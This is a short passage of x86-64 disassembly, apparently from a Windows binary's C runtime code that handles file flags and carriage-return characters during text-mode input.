je 0x14001930e
lea r8, [0x140039590]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400192e6
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400192b6
mov word [rbx], r13w
jmp 0x140019316
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400192c3
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140019316
cmp word [rsp + 0x70], r13w
jne 0x1400192f3
cmp rbx, r14
je 0x1400192b0
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140019e00
cmp word [rsp + 0x70], r13w
je 0x140019319
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140039590]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140019313
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140019319